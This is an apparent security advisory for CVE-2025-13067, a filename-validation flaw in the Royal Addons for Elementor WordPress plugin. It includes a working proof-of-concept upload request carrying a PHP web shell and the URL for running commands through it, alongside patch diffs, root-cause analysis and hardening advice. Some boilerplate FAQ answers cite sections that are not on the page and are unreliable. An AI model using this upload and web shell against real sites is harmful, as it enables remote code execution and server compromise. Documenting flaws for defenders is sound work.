SECURITY ADVISORY / 01

CVE-2025-13067 Exploit & Vulnerability Analysis

Complete CVE-2025-13067 security advisory with proof of concept (PoC), exploit details, and patch analysis for royal-elementor-addons.

royal-elementor-addons products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An authenticated WordPress user with Author-level access or above can upload a PHP file by naming it in a way that exploits insufficient filename validation in the Royal Addons for Elementor template upload handler.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: multipart/form-data; boundary=----WebKitBoundary

------WebKitBoundary
Content-Disposition: form-data; name="action"

real_upload_kit
------WebKitBoundary
Content-Disposition: form-data; name="file"; filename="shell_main.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
------WebKitBoundary--

When the request is processed, the plugin's MIME type validation function checks if the string 'main' appears anywhere in the filename. It does — in shell_main.php. The vulnerable code then forces the uploaded file to be classified as XML, bypassing PHP extension restrictions. The attacker observes a 200 response indicating successful upload. Within seconds, the PHP file becomes executable on the web server; the attacker can execute arbitrary commands by visiting wp-content/uploads/elementor-kit/shell_main.php?cmd=whoami.

Why this still matters at Author level: Author-level users should not be able to execute arbitrary PHP on a WordPress installation. This escalates a restricted account (blog contributor, editor at a network) into a full remote code execution primitive that compromises the entire server. In multi-tenant SaaS environments where admins are technically restricted, a malicious author or plugin setting change can turn a single user compromise into full infrastructure access.


What the Patch Did

Before

function real_mimes( $defaults, $filename ) {

    if ( strpos( $filename, 'main' ) !== false ) {
        $defaults['ext']  = 'xml';
        $defaults['type'] = 'text/xml';
    }

After

function real_mimes( $defaults, $filename ) {
    $ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );

    if ( 'xml' === $ext && strpos( $filename, 'main' ) !== false ) {
        $defaults['ext']  = 'xml';
        $defaults['type'] = 'text/xml';
    }

The patch adds three security controls in sequence: extraction of the true file extension using PHP's pathinfo() function with the PATHINFO_EXTENSION flag, case-insensitive normalization via strtolower(), and explicit whitelisting of only .xml files before the MIME type override is applied. The critical addition is the guard condition 'xml' === $ext, which ensures that the dangerous MIME type aliasing only occurs if the actual file extension is .xml, not if the word 'main' merely appears anywhere in the filename. The use of strict comparison (===) prevents type juggling attacks.


Root Cause

CWE-20: Improper Input Validation. The $filename parameter arrives from the WordPress file upload handler via the upload_mimes filter hook, which receives user-supplied input from the multipart form data. The vulnerable code at lines 1015–1016 applies only a substring search (strpos()) to validate the filename, checking whether the literal string 'main' exists anywhere in the name. This substring match crosses a critical trust boundary: it conflates the filename token with the filename extension, allowing an attacker to embed the magic string in any part of the path and bypass the intended restriction. The attacker-controlled filename field in the multipart upload request flows directly into the conditional logic without extracting or validating the actual file extension first.


Why It Works

The load-bearing line is $ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );. Without it, the code still performs a substring search on the full filename, and shell_main.php still contains 'main', so the exploit succeeds. The engineer added this line to establish a single source of truth for the file extension, decoupling it from the filename as a whole. The subsequent guard 'xml' === $ext then becomes effective: it enforces that the extension actually is XML, not just that the filename contains the word "main" somewhere. The normalization to lowercase is defence-in-depth against case-based obfuscation (Main.PHP, MAIN.php), and the strict comparison (===) blocks type coercion. But the architecture that enables the fix is the extraction itself — without knowing what the real extension is, no amount of additional validation can prevent the filename-based bypass.


Hardening Checklist

  • Use wp_check_filetype_and_probs() for file validation instead of writing custom MIME detection. WordPress's built-in function combines extension, MIME type, and optional real-file inspection to prevent spoofing; integrate it into all file upload handlers before the file is moved to a permanent location.

  • Whitelist file extensions explicitly using a strict array check: $allowed_exts = array( 'xml', 'json' ); if ( ! in_array( $actual_ext, $allowed_exts, true ) ) { wp_die( 'Invalid file type' ); }. Never rely on substring matching or type inference from user-supplied filenames.

  • Extract the real extension using pathinfo( $filename, PATHINFO_EXTENSION ) and normalize it to lowercase before any conditional logic that depends on file type. Treat the result as the single source of truth for downstream validation.

  • Apply sanitize_file_name() to user-supplied filenames before any security decision. This WordPress API removes or replaces characters that could be used to construct bypass patterns, reducing the attack surface for filename-based tricks.

  • Reject files with double extensions or null bytes by checking the basename after pathinfo() extraction: if ( substr_count( $basename, '.' ) > 1 || strpos( $basename, "\x00" ) !== false ) { wp_die(); }. This prevents polyglot files and null-byte injection chains.


References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-13067

Frequently asked questions about CVE-2025-13067

What is CVE-2025-13067?

CVE-2025-13067 is a security vulnerability identified in royal-elementor-addons. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-13067?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-13067. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-13067 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting royal-elementor-addons. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-13067?

CVE-2025-13067 affects royal-elementor-addons. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-13067?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for royal-elementor-addons.

What is the CVSS score for CVE-2025-13067?

The severity rating and CVSS scoring for CVE-2025-13067 affecting royal-elementor-addons is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.